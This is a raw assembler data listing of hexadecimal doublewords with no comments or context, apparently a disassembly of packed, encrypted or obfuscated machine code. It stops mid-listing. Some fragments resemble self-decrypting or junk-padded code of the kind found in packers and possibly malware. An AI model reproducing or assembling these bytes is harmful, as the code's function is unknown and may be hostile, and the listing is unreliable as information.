0D6FC3BE1h, 0A513D8BCh dd 672B9BF3h, 2B2DB58Bh, 8B5E0607h, 0F18589CAh, 0B6060AA4h dd 43E984h, 8D8B0000h, 6070FE1h, 0EDB58B56h, 89060AA4h dd 0ED858306h, 4060AA4h, 8D60C35Eh, 0AA3ADB5h, 560FEB06h dd 36FF006Ah, 0A4F195FFh, 835E060Ah, 3E8304C6h, 61EC7500h dd 198D29C3h, 8B060732h, 7315D95h, 0C9858D06h, 89060AA5h dd 701318Dh, 0D5858906h, 0EB060715h, 0E09104Bh, 1AC53C2Fh dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 46088Ch dd 0D5A3EA1Ah, 0 dd 0FEC8199Ch, 0FE480000h, 0FBh, 27E64128h, 0C3727DD4h dd 0C57E9h, 8E900h, 19D40000h, 0FE0BD3Fh, 0BD83318Ch, 6071995h dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2973C351h, 8A0F95BBh dd 6, 33099D8Bh, 0B80607h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3CC7C350h dd 0C2CC59E8h, 8D8B3BEBh, 6072BD1h, 8B0004C2h, 83DF8BC0h dd 73101BDh, 9750006h, 0A55BD83h, 74000607h, 8B535013h dd 4D0B8C0h, 9D8D0000h, 609B1C6h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535011h, 4D0h, 0B1139D8Dh, 0D3FF0609h dd 860F585Bh, 6, 1DC19D89h, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 353CA2C3h dd 1F3E77CAh, 0C08B3484h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0C4C35343h, 688288ACh, 4966169Ch, 2C01952Bh dd 858D0607h, 60AA64Bh, 6115BF90h, 505026BBh, 5E952h, 0D69B0000h dd 0FB661D1h, 0DA8B6631h, 0F90585Ah, 83h, 7EF8BA00h, 858D7BE4h dd 60AA608h, 0FE9h, 0A2D0B000h, 69CC6ED4h, 8DD8E6h, 8546AE49h dd 90FA8B66h, 9CA39DBFh, 8E85017h, 0B0000000h, 172772E3h dd 0B51FD8B8h, 8B905BD4h, 0AD95FFDFh, 0E8060721h, 5, 85499974h dd 918589B4h, 5A060705h, 424448Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 5C35040h, 0E8576071h, 13h dd 3A83DA0Fh, 494B9DDh, 8C0252D9h, 0B0C6A2DAh, 5A963FECh dd 39BD8B59h, 6106071Bh, 0A6338589h, 0BD29060Ah, 6071B6Dh dd 824448Bh, 6D8589h, 85890607h, 60AA647h, 2A398D29h, 0BD830607h dd 6071D49h, 0F4850F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5E0DC355h dd 8B666801h, 4D85C6F8h, 4706071Ch, 0E85FF957h, 4, 0D49AA7D2h dd 0C890Fh, 52500000h, 890F310Fh, 0 dd 8B50585Ah, 0BF042444h, 26914CDCh, 0B966008Bh, 4489CC11h dd 89580424h, 718F595h, 68F0F06h, 8B000000h, 703D59Dh dd 0EDB5FF06h, 6A060712h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0E594C352h, 99C3E836h dd 13E950BEh, 64000000h, 0F7EBF66h, 597E813Ah, 0B616AC8Ah dd 4340EF6Ah, 8D5BBE80h, 0A7CFE85h, 0D98B6006h, 8961D5B4h dd 72B09BDh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 3A70C356h, 8239F28Ch dd 8589A8EFh, 6071D49h, 2FA58D8Bh, 83FC0607h, 73185BDh dd 850F0006h, 8Bh, 3369BD89h, 85C60607h, 6071C4Dh, 68D98B47h dd 0DF57182h, 10E9h, 5604FB00h, 0D6245625h, 42022054h dd 0E60E7BC3h, 24048167h, 7C1A4460h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 6DC35747h, 1FE24CC3h, 0BD8D8918h dd 89060731h, 72949BDh, 0D9D2906h, 0FF060726h, 712EDB5h dd 8DF88B06h, 0A7CFE85h, 0F1950306h, 0FF06072Eh, 0FD9D89D0h dd 89060716h, 7318585h, 398D2906h, 83060709h, 71515BDh dd 850F0006h, 112h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 2C35343h, 0A71BE593h, 8E997h, 39AC0000h dd 3B2063F4h, 92B9F6EDh, 0C6262069h, 71C4D85h, 9D315606h dd 607165Dh, 2E78166h, 77DF6813h, 8B0F611Eh, 2Bh, 14E8h dd 498E5600h, 0BC435CFCh, 0BFE32B37h, 0A12949D5h, 0FF670B07h dd 0BE8A1h, 6E640000h, 857E155Ch, 3AA6A23h, 815F5915h dd 0F55A2404h, 6A7300h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0FBDB3BC3h, 1F0601D4h, 12EDB5FFh dd 14E90607h, 0E4000000h, 68CADC83h, 5FBCAB14h, 0AFBF1DEAh dd 0F73941B6h, 8DE4FEB4h, 0A7CFE85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0EC18188h dd 8B28005Dh, 89D0FFCBh, 715658Dh, 15858906h, 0E9060715h dd 12h, 8BDA073Ah, 0B7743699h, 43E44F20h, 1DBBF144h, 85C62306h dd 6071C4Dh, 0CE8B666Ch, 11EA8166h, 4E8A3h, 70830000h dd 8B60DB05h, 11E8D9h, 38FD0000h, 9745CD2Ch, 0C0E02817h dd 513411DCh, 66F59B05h, 5B9DBEBEh, 9E85061h, 7B000000h dd 84084749h, 0DE4CBFh, 8B5BF38Ah, 66042444h, 8B79FDBAh dd 89D38A00h, 0B2042444h, 800F58F7h, 6, 2D699D8Bh, 0B5FF0607h dd 60701A9h, 3A13858Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 7E6B9DC3h, 0A7308903h dd 89DFE812h, 70FB1B5h, 80D0FF06h, 85893CE1h, 60AA637h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 42C35242h dd 753589AEh, 8B046A32h, 471068D9h, 12E9A1EDh, 9C000000h dd 0CC519D65h, 0F49A077Ah, 0D7A3AA0Ah, 0CE4CCFFAh, 240481BFh dd 5E12C8F0h, 59D68B50h, 0C1A2E768h, 240481D9h, 263F5D19h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 37C35646h dd 0D9958B22h, 80060721h, 6ACBC5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 46C35747h, 79CE8070h, 26B5B589h dd 95FF0607h, 60715F9h, 0A6438589h, 8166060Ah, 6AF7E4F2h dd 0DE8B6600h, 2E3C5A68h, 815F57DCh, 0C3A62404h, 95123D2h dd 7106995h, 8A505A06h, 240489DEh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0DBC35141h, 94751F35h, 663E0AB0h dd 9E9DA8Bh, 41000000h, 9FDD58AFh, 1110EFBAh, 800F0B6Ah dd 6, 0A498D23h, 858D0607h, 60AA610h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0C3C35040h, 958BEC8Ah, 6071E15h dd 4C59D8Bh, 50900607h, 0CE8h, 44471500h, 21D71005h, 4902519Bh dd 5AA0BB98h, 905A4E4Dh, 8B60D18Bh, 704AD8Dh, 61C28B06h dd 1D4995FFh, 840F0607h, 3, 8B5AFC51h, 7009595h, 1AB58D06h dd 6A060AA6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0B898C353h, 0D9E7EE73h, 85897763h dd 607179Dh, 0FD18D8Bh, 0E9960607h, 12h, 902E789Eh, 0B769EFC9h dd 0E49A07Fh, 0B6713B04h, 0E950CD23h, 0Bh, 0E8F74D61h dd 634D958Ah, 9678D84Bh, 66525050h, 0F9522B9h, 840F5131h dd 0 dd 89585A5Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 80D4C3C3h, 95FFCBE5h, 6073185h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A5C35747h dd 918D2393h, 0FF060704h, 98D8BD0h, 8B06072Ah, 0AA643B5h dd 85C7F506h, 60AA63Bh, 0 aFlA db 'fڀ~ ',0 db 0Fh dd 24E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0E3F77EF7h, 9D34BDABh, 6060046Ah dd 2A0D9D2Bh, 14E90607h, 8F000000h, 0ADA95A22h, 6EA19E14h dd 7A172917h, 0A587DD50h, 618F293Fh, 8B20468Dh, 70689BDh dd 3F858906h, 89060AA6h, 71F2995h, 35E906h, 870F0000h dd 6, 1FD9BD8Bh, 6A400607h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 645FC351h, 0C370B4A1h dd 0A99D8B21h, 8006072Ah, 850F0038h, 0FFFFFFCEh, 0DE9h dd 8C09B900h, 0E5879DEBh, 0D4E4C2C7h, 0DE96FB8h, 89000000h dd 7001995h, 95294806h, 6072639h, 0F5C3880h, 2884h, 8052B200h dd 840F2F38h, 1Dh, 2E559D2Bh, 0B70F0607h, 3F853BDFh, 0F060AA6h dd 0FFFFD083h, 259D8BFFh, 8A06071Eh, 6A40FEh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 958B2AC3h dd 6072205h, 0A647BD83h, 0F00060Ah, 6084h, 0A1858900h dd 90060716h, 57CBBA66h, 909BB350h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 3FC35646h, 0A6478503h, 6A060Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 30924C3h, 71EB595h, 0C606h, 0F8DB589h, 0B2580607h, 595350C8h dd 89240489h, 7268D85h, 33B5FF06h, 66060AA6h, 0FF31A3BAh dd 0AA63795h, 15958906h, 0B060700h, 1F850FC0h, 31000000h dd 7198185h, 0BF0F6106h, 3B85C7CAh, 1060AA6h, 0E9000000h dd 87h, 1F5D9501h, 60610607h, 0F5DB8166h, 0C995318Eh, 6106071Ch dd 11CC681h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 90F23C3h, 9237AD0Ah, 98A0Fh, 850F0000h dd 3, 8BF8B70Fh, 0FDDDE9DEh, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E9B30CC3h dd 0Dh, 761CC9AFh, 11934E39h, 3D8EC241h, 0C5BD89A7h, 68060716h dd 3FEFECA6h, 13E9h, 3CC00000h, 0EDC7C653h, 0AFB01FCAh dd 0EB7B4E51h, 6A45CEF2h, 0A6243481h, 6A3FEF6Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0D853C352h, 81CA6770h, 0F98D896Eh, 6A060720h, 74BF6600h dd 43B5FFFCh, 9060AA6h, 71C7DBDh, 0FFFB8B06h, 7151595h dd 7E806h, 0E4A70000h, 0BB256D5Bh, 0D2B70FA1h, 3B858B59h dd 6A060AA6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 5B39C352h, 9D8B2A60h, 6071FF5h dd 52525050h, 0F59C3B7h, 8B525031h, 66310FF8h, 585AF88Bh dd 489585Ah, 6880F24h, 29000000h, 7006D95h, 4B858D06h dd 6A060AA6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6BFC352h, 69B589BDh, 5006070Ah dd 489D18Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 904D70DEh, 619D8B1Eh, 8D06071Fh dd 0AA60885h, 3890F06h, 80000000h, 8A5042C9h, 240489FAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8AC35242h dd 60037BE6h, 7B18509h, 0BD010607h, 60710B5h, 2860F61h dd 8A000000h, 0F995FFFAh, 1060708h, 70B318Dh, 29C08B06h dd 7161595h, 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50137400h dd 0B8C08B53h, 4D0h, 0B22D9D8Dh, 0D3FF0609h, 0BD83585Bh dd 6070A55h, 50117400h, 4D0B853h, 9D8D0000h, 609B12Ch dd 585BD3FFh, 0DE9h, 108B9300h, 1287F4FDh, 0F843B888h dd 8B662C4Fh, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 8BC08B29h, 71E218Dh, 6A5806h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 7194CC3h, 0BDA5FDF3h, 29B19D89h, 95890607h, 60705B9h dd 6A0008C2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0B3FEC350h, 6EF1214Dh, 0E3902867h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0B9006FC3h, 7CE6EC37h, 0A665858Dh, 8960060Ah dd 7268585h, 85896106h, 60725F1h, 75E9h, 8C666000h, 0F04A8D8h dd 3584h, 0FF016A00h, 701A9B5h, 0FE858D06h, 0FF060A7Ch dd 2D8589D0h, 8B060733h, 0CEFC1FEh, 4000068h, 6A006A20h dd 0D685702h, 0FF000100h, 7332D95h, 32E906h, 85C60000h dd 6071C4Dh, 30DF6856h, 0B5FFA9C5h, 60712EDh, 7CFE858Dh dd 0D0FF060Ah, 3C98589h, 858D0607h, 6072AC5h, 6A206A50h dd 95FF5605h, 60703C9h, 0E0C1C361h, 39EB06h, 0CC00BF00h dd 0E400BF02h, 0BF02h, 0C7000000h, 9EBBC224h, 858ADB28h dd 1DECA20h, 56B3C124h, 0F1B2CB63h, 8A8AE14Dh, 29DEE301h dd 0D6AEE039h, 0ABB6FB23h, 0ECBACE28h, 21DEC52Dh, 3BDEACA5h dd 5E818F4Dh, 0EAA22612h, 439A2E49h, 0B3DEB349h, 1A89E84Dh dd 12A6E1F1h, 8F98E58Dh, 511E248Dh, 9E36F94Dh, 0EEDEAF4Dh dd 0EE806C13h, 32DA8B39h, 0C2DA8B09h, 0AADEAF4Dh, 7DAC6C1Bh dd 9C87CAEDh, 205DBAF8h, 0C8D99E4Ch, 0E4D7DA4Dh, 0B4D4FAF0h dd 0C0AAAF4Bh, 2C55FC1Dh, 76DA16F5h, 965B264Dh, 10D8A866h dd 0C76D5DD0h, 3C0D504Bh, 0E6632C15h, 0D9D8A847h, 0BF8EB839h dd 76DA16F5h, 965B264Dh, 10D8A866h, 0C76E4ED0h, 3C0D504Bh dd 0E6DEC515h, 0D9DEACA5h, 2F838F4Dh, 52B22610h, 1F9A2E49h dd 9DDEB249h, 0D8BEA4Dh, 6A7852B7h, 0E68E8D90h, 0CD37337Eh dd 12DEAF4Dh, 66D52DB0h, 49210D30h, 0B11B7186h, 0E19D1285h dd 0ECA426B0h, 0B4C41EF8h, 3043264Bh, 67D8A845h, 235B868Dh dd 0D2D8A85Fh, 9DDEAF5Fh, 6E653183h, 0E2691038h, 148E6B9Fh dd 5BD91DBFh, 6918EAF0h, 70D9B300h, 5B0E1A1Bh, 995312C4h dd 876AA94Ah, 0BE89C72Ch, 48553AAFh, 0DCFA9BCCh, 86D7E52Ch dd 7536FE4Dh, 1BDEAF4Dh, 14876C14h, 4FDA8B01h, 7FDA8B09h dd 0F2DEAF4Dh, 5FDB6C1Ch, 13ABF2C4h, 71CC42F8h, 0B6B91D4Bh dd 97A251C8h, 9DDEC54Bh, 67DEACA5h, 70858F4Dh, 0FD822616h dd 0C89A2E49h, 76DEB449h, 0F88DEC4Dh, 634F0B2Bh, 0A63D29F2h dd 67B47FB2h, 0B3DD4718h, 84FEAF4Dh, 8057F28Eh, 325FAB69h dd 3BC4AB69h, 0C89BAF4Dh, 1233B68Eh, 0D54543C1h, 0B420162Bh dd 0D9B4AB27h, 0ECDD471Ah, 29FEAF4Dh, 4757F08Eh, 0D95FAB69h dd 0CECAAB69h, 3099AF4Dh, 6F75D8Eh, 0DFD9895Ch, 0B49F2825h dd 52DA2E8Ch, 5796134h, 8F3B12C6h, 71D1A94Ah, 67DA47BEh dd 0B132AF4Dh, 0B9BEAF4Dh, 56B851C6h, 26BFA892h, 3487FC1Fh dd 9DD0477Ch, 67ADAF4Dh, 22493CB9h, 0B44510A4h, 34E83F18h dd 8D86F513h, 755CA01Dh, 5DDEAF4Dh, 0D95558C6h, 0CE55AB69h dd 2FC340F2h, 979A260Dh, 0BF8CFF49h, 0E34FB3F3h, 2C80FE7Ch dd 3BB4F715h, 9DDD4718h, 93FEAF4Dh, 0B57F28Eh, 0F75FAB69h dd 0D9C3AB69h, 0B99BAF4Dh, 7B5C18Eh, 9186B90Bh, 1672D9A4h dd 0C9F15AF8h, 0ECDEC54Bh, 0B4F7E6F8h, 0B30E504Bh, 0EF36FC4Dh dd 56DEAF4Dh, 0B2856C16h, 1CDA8B11h, 0D7DA8B09h, 24DEAF4Dh dd 42216C1Eh, 0CCADDA31h, 0ECDB2242h, 5761AF4Dh, 0B2ACC38Ah dd 976DC9C8h, 9FDEC54Bh, 67DEACA5h, 70878F4Dh, 0FD922614h dd 0C89A2E49h, 76DEBB49h, 0F88FEE4Dh, 946B9EB9h, 45D8A860h dd 6512AAB5h, 3657AF4Dh, 0DFD41C27h, 65C66FCEh, 7C6DC1C8h dd 821E9C4Bh, 9DDEADA1h, 735505BEh, 61D9A80Ch, 0CE5B242Dh dd 0D6D8A858h, 0EFBF55F2h, 71D57AC0h, 765B694Bh, 0DED8A851h dd 0A60E1042h, 0E5BFC196h, 0B3DEAAA5h, 57E4154Dh, 0E7642FE8h dd 2984BD72h, 0BEFA9BCCh, 74C0A948h, 0CEDEAF4Bh, 773BA97Ah dd 0B437FABAh, 29DEAF4Dh, 0B653951Eh, 0C321E707h, 3DD9BDA0h dd 9DDEA8A4h, 3CA5E84Dh, 50DDC373h, 0CF202AC0h, 0D6BEA947h dd 0ECDEA9CFh, 0F36B244Dh, 34D8A846h, 9DDEBFCAh, 0CED5464Dh dd 0C802AF4Dh, 0EA8BB980h, 0E3BC317Ah, 3C21CEABh, 0FF281042h dd 3CC5D2C8h, 0CDDEC54Bh, 0CEDEACA5h, 0A4868F4Dh, 979A2615h dd 0FD9A2E49h, 0ECDEB849h, 0B58EEF4Dh, 0C636AFABh, 9B53A02Dh dd 4FDEAF4Dh, 0AA846CAFh, 26F7CF68h, 0DFD99EE0h, 0DECF12C4h dd 17BFA94Ah, 33F72AC0h, 9DB4A94Ah, 0CEDD471Dh, 3FFEAF4Dh dd 0F757F78Eh, 9D5FAB69h, 0ECC9AB69h, 269EAF4Dh, 96E8FF8Eh dd 505B26E6h, 0A4D8A856h, 6436F84Dh, 93DEAF4Dh, 50816C12h dd 6DDA8B31h, 61DA8B09h, 7CDEAF4Dh, 0AEB6C1Ah, 26543E4Ah dd 7B932A8Bh, 0D8DA94Ah, 0FEEB69F6h, 0F78F12C6h, 7236A94Ah dd 0E3DEAF4Dh, 92221E05h, 0CEDEBACCh, 67CE464Dh, 7A91AF4Dh dd 9D3F4231h, 3A6955A2h, 34BA0598h, 5B8EB908h, 24B8F01Bh dd 45BF84C5h, 8FDA8B09h, 0B3DEAF46h, 7EC287AEh, 60F2E693h dd 9F239291h, 3BDEAF41h, 0F35E3C82h, 3091F58Dh, 0F02694A0h dd 0E0DE2417h, 0D9DEBDA5h, 9D51CB4Dh, 28B284EFh, 5D8147DFh dd 0F7D563FDh, 265EF2AFh, 67DEAF44h, 9B11B9EAh, 89B63905h dd 0B580F616h, 72FAEBC4h, 3BDEAAA4h, 6FE3944Dh, 3186ADEDh dd 60CC42F8h, 8E63264Bh, 54D8A867h, 0E6A251C8h, 26DEC54Bh dd 3BDEACA5h, 5E868F4Dh, 0EA9A2615h, 439A2E49h, 0B3DEB249h dd 1A8EEF4Dh, 0B294677Eh, 156F782Dh, 8657E642h, 9BD98078h dd 1F5F7FB2h, 5A759276h, 0B3DEBDA4h, 0F0341C4Dh, 45FD9D81h dd 0CD148E89h, 9E743371h, 14F6D829h, 0C9ECAEC8h, 6236FC4Bh dd 0CDDEAF4Dh, 0A0054E37h, 0ECD33AC6h, 2C80A94Ah, 27932A8Bh dd 0F78DA94Ah, 0CD36FC4Dh, 47DEAF4Dh, 3A856C16h, 58DA8B11h dd 0F6DA8B09h, 35DEAF4Dh, 47F76C1Eh, 67974B00h, 0CF63240Ch dd 0FD8A85Bh, 30C87368h, 0ED5F61C6h, 0E2C63969h, 0F753A416h dd 0C4D8A846h, 9ACC42F8h, 0F753244Bh, 0EAD8A866h, 0B9A251C8h dd 8BDEC54Bh, 0ECDEACA5h, 0B5848F4Dh, 1F8A2617h, 0B99A2E49h dd 0CEDEB449h, 0A48CED4Dh, 7BA0A1EEh, 0C237F6E2h, 0ECD82442h dd 0FB57AF4Dh, 3DD9AAECh, 9DB47FB2h, 0CEDD471Fh, 3DFEAF4Dh dd 0E757F58Eh, 9D5FAB69h, 0ECC9AB69h, 249CAF4Dh, 0C04C48Eh dd 9DD14624h, 1BC9AF4Dh, 0AA40A73Ch, 167DEFC2h, 332D914Eh dd 0A42C2EA4h, 0FFD8E778h, 3CCBEAC8h, 0CFDEC54Bh, 0CEDEACA5h dd 0A4848F4Dh, 978A2617h, 0FD9A2E49h, 0ECDEB449h, 0B58CED4Dh dd 0DDD5E7EEh, 828B0B97h, 0D8CB127Ch, 0F255A94Ah, 0B5D9B314h dd 0C5932A8Bh, 499A94Ah, 76DEAF4Ah, 4BA736C9h, 9C097393h dd 0C9F3BEF0h, 955EF64Bh, 0B3DA475Bh, 477AF4Dh, 6CD11893h dd 76DEAF48h, 0B58A3CF4h, 6E55FF50h, 0CAFAEBC6h, 7336AFC6h dd 0C1DEAF4Dh, 574C7366h, 6081E100h, 0A1F5042Ch, 807AAF1Fh dd 0C49978CBh, 0CAFAEBC4h, 67C02142h, 0E18EAF4Dh, 0D9DEBFA5h dd 0D161144Dh, 0D4751DE3h, 92DA920h, 447F6CBDh, 0FFD1F118h dd 3F84F11Fh, 5E6B5015h, 0B3D8A85Fh, 0EF36FE4Dh, 56DEAF4Dh dd 0B2876C14h, 1CDA8B01h, 0D5DA8B09h, 26DEAF4Dh, 0D68D6C1Ch dd 0A5092A67h, 7955872Eh, 70D98EE4h, 0C55B22B8h, 94D8A531h dd 0C9F3BEC8h, 0D0E504Bh, 0B036FD4Dh, 0F9DEAF4Dh, 65846C17h dd 0F7DA8B19h, 21DA8B09h, 0DFDEAF4Dh, 15A6C1Fh, 0BE1A8EFBh dd 3A5B26DFh, 0B3D8A860h, 0EF36FC4Dh, 56DEAF4Dh, 0B2856C16h dd 1CDA8B11h, 0D2DA8B09h, 24DEAF4Dh, 93756C1Eh, 43EFE0FEh dd 6D7E1333h, 0BA06E18Fh, 765B697Ch, 0DAD8A851h, 2688AF27h dd 67DEAF4Eh, 0ED1DF16Dh, 0DDFADBC4h, 0E8FAEBCCh, 76DEAF58h dd 261DF90Bh, 806B2447h, 0A6D8A845h, 0AC53967Dh, 875F32F8h dd 88F7E569h, 0BDDEC507h, 76DEACA5h, 0F8878F4Dh, 0B9922614h dd 0EA9A2E49h, 67DEB549h, 708FEE4Dh, 9698279Dh, 5818867h dd 76DEAF43h, 0A4EC1F01h, 0D64C9F4h, 84F195A8h, 0EA577746h dd 0B5D9A8D8h, 0CB331AB2h, 67BEA94Ah, 71C7A6D8h, 3BD5464Bh dd 565AF4Dh, 0EA4561FDh, 8BFCCEC8h, 3653CE9Ch, 0DFD4D3B3h dd 48BAF27h, 76DEAF4Eh, 661DF26Dh, 99FAC3C4h, 0CAFAEBCCh dd 67DEAF56h, 501DFA08h, 8D3061A0h, 0DDAB3B35h, 71F1CEF0h dd 510E504Bh, 9E36FE4Dh, 0EEDEAF4Dh, 0EE876C14h, 32DA8B01h dd 0C1DA8B09h, 0ADDEAF4Dh, 19F26C1Ch, 0B1F48C88h, 0C4532481h dd 47D8A86Fh, 60C44EC8h, 2211104Bh, 5C189975h, 0EAD9B300h dd 841C2E0Ah, 53E5CF4Bh, 7EDB3EAFh, 0FA5F5CC7h, 0AF731069h dd 0E3DEC504h, 0D9DEACA5h, 2F868F4Dh, 529A2615h, 1F9A2E49h dd 9DDEB749h, 0D8EEF4Dh, 5CBAC627h, 38D1F85Ch, 0D9DEAF5Fh dd 0ECDEA3A5h, 3ED6C44Dh, 95E82CBBh, 41D581B8h, 3184F6BFh dd 60CC42F8h, 3E2A254Bh, 0D3A251C8h, 0BFDEC54Bh, 76DEACA5h dd 0F8858F4Dh, 0B9822616h, 0EA9A2E49h, 67DEB649h, 708DEC4Dh dd 197DC24Ch, 3C218F74h, 69073264h, 0BE57A94Ah, 9BD985E8h dd 268DAF27h, 67DEAF4Eh, 0E81DF46Dh, 0DDFAF3C4h, 0E8FAEBCCh dd 76DEAF51h, 901DFC0Eh, 0B67A9F3Dh, 0F6DF21D3h, 4A7F2AC4h dd 6054A94Ah, 60B87FB2h, 6957BA6Fh, 70D9BA34h, 0D38CAF27h dd 9DDEAF4Eh, 941DF56Dh, 63FAFBC4h, 0B7FAEBCCh, 0D9DEAF51h dd 0C51DFD0Fh, 83EA7A4Dh, 7149FDA1h, 9E1B3AC6h, 7357A94Ah dd 61D9B234h, 0D906232Bh, 0DA36FC4Dh, 0CCDEAF4Dh, 0FF856C16h dd 0BADA8B11h, 88DA8B09h, 8DDEAF4Dh, 0B3BE6C1Eh, 0B7FA5AFBh dd 0D3673AC6h, 2CD4A94Ah, 75882B42h, 956FAF4Dh, 81932A8Bh dd 0A491A94Ah, 6436F84Dh, 93DEAF4Dh, 50816C12h, 6DDA8B31h dd 61DA8B09h, 7CDEAF4Dh, 761B6C1Ah, 53575E99h, 61D98D3Ch dd 0B3DEABA5h, 59B26B4Dh, 0D560C9F2h, 0F7D1FFA3h, 3BDEAF41h dd 1CD1FD1Dh, 0CEDEAF4Dh, 3F849E42h, 0B7FAEBC6h, 0D9DEBFA4h dd 59DE664Dh, 0D4B5EEB5h, 0F5E3B0E0h, 9C673F73h, 27DE247Ch dd 67DEAF43h, 5F4F2D9Eh, 0F10BF363h, 0A0502C83h, 325753B2h dd 3336AB69h, 0B2DEAF4Dh, 0E2B9CDA0h, 8EF136BFh, 0B3DEAF59h dd 0AE63FBC4h, 0A27EBC6h, 3263D4E5h, 0EAC11E76h, 0F6239EC5h dd 0CEB4F712h, 67DD471Ah, 0ECFEAF4Dh, 0A557F08Eh, 0A85FAB69h dd 76C3AB69h, 6C99AF4Dh, 524D238Eh, 766CB202h, 8EA85460h dd 0B3DEAF42h, 610CFE06h, 0A6635680h, 8E89A07Ch, 0C47053BEh dd 9ACC42F8h, 0CB53A04Bh, 1DEAF4Dh, 0C8A260CCh, 0A5202AC0h dd 0ECB4A947h, 76DD471Bh, 65FEAF4Dh, 0E957F18Eh, 8A5FAB69h dd 67CAAB69h, 0E598AF4Dh, 5CDF5B8Eh, 0EAD9B38Ch, 76B47FB2h dd 3BDD471Eh, 0C6FEAF4Dh, 9257F48Eh, 235FAB69h, 0B3C6AB69h dd 8A9DAF4Dh, 190E568Eh, 0B65D5C7Dh, 69DEC569h, 9DDEACA5h dd 0D848F4Dh, 438A2617h dd 979A2E49h, 0D9DEB749h, 2F8CED4Dh, 2A24DDD1h, 0AA5B262Ch dd 92D8A856h, 0CEDEA0CDh, 67D4464Dh, 3DB8AF4Dh, 736EDB94h dd 58338EBCh, 63A72AC6h, 3BB4A94Ah, 9DDD471Dh, 96FEAF4Dh dd 2357F78Eh, 0F75FAB69h, 0D9CBAB69h, 0BC9EAF4Dh, 5F53558Eh dd 3CCE92D8h, 0B86BAE4Bh, 45D8A861h, 60F40AD0h, 0E0DEC54Bh dd 0D9DEACA5h, 2F858F4Dh, 52822616h, 1F9A2E49h, 9DDEB649h dd 0D8DEC4Dh, 4C76D980h, 65549FFh, 0DFD98998h, 5157ECB1h dd 70D9A894h, 3BDD2142h, 5F5EAF4Dh, 0A8C5247Ah, 7C5556C6h dd 0E55CF1Ch, 0DFD9A8C8h, 0ECDEBFA5h, 678994Dh, 798B8628h dd 445535C1h, 0E530C042h, 39BFF105h, 0B3DEA2A4h, 2EDC904Dh dd 0ACFB9F1Ah, 0EAAD8994h, 20551A7Eh, 0D10C2E2Bh, 469A026h dd 0E4D1777Eh, 0B3DEAF48h, 379D34F7h, 0E9432640h, 8AD8A87Eh dd 27932A8Bh, 0FB99A94Ah, 0A62EC0F4h, 0E9481D75h, 0BA434CF2h dd 0FDEA2E7Eh, 0D596C0DCh, 9E8EAF27h, 3BDEAF4Eh, 0C51DF76Dh dd 0CAFAEBC4h, 63FAEBCCh, 0B3DEAF56h, 901DFF0Dh, 1AABBE12h dd 793F547Bh, 3BDEAEC1h, 9337534Dh, 2DDEAF4Dh, 32A3BA98h dd 0E6D26A33h, 6628E39Ah, 16B5083h, 10D8A85Fh, 0AE5578C6h dd 9BD9A5A8h, 0B2202AC0h, 0DA55A947h, 0B5D98FACh, 9687FB2h dd 695756C6h, 70D982C4h, 2E9F12C6h, 169EA94Ah, 9DDEC54Dh dd 67DEACA5h, 70858F4Dh, 0FD822616h, 0C89A2E49h, 76DEB349h dd 0F88DEC4Dh, 0FCF5A211h, 4E388EC5h, 0A064C976h, 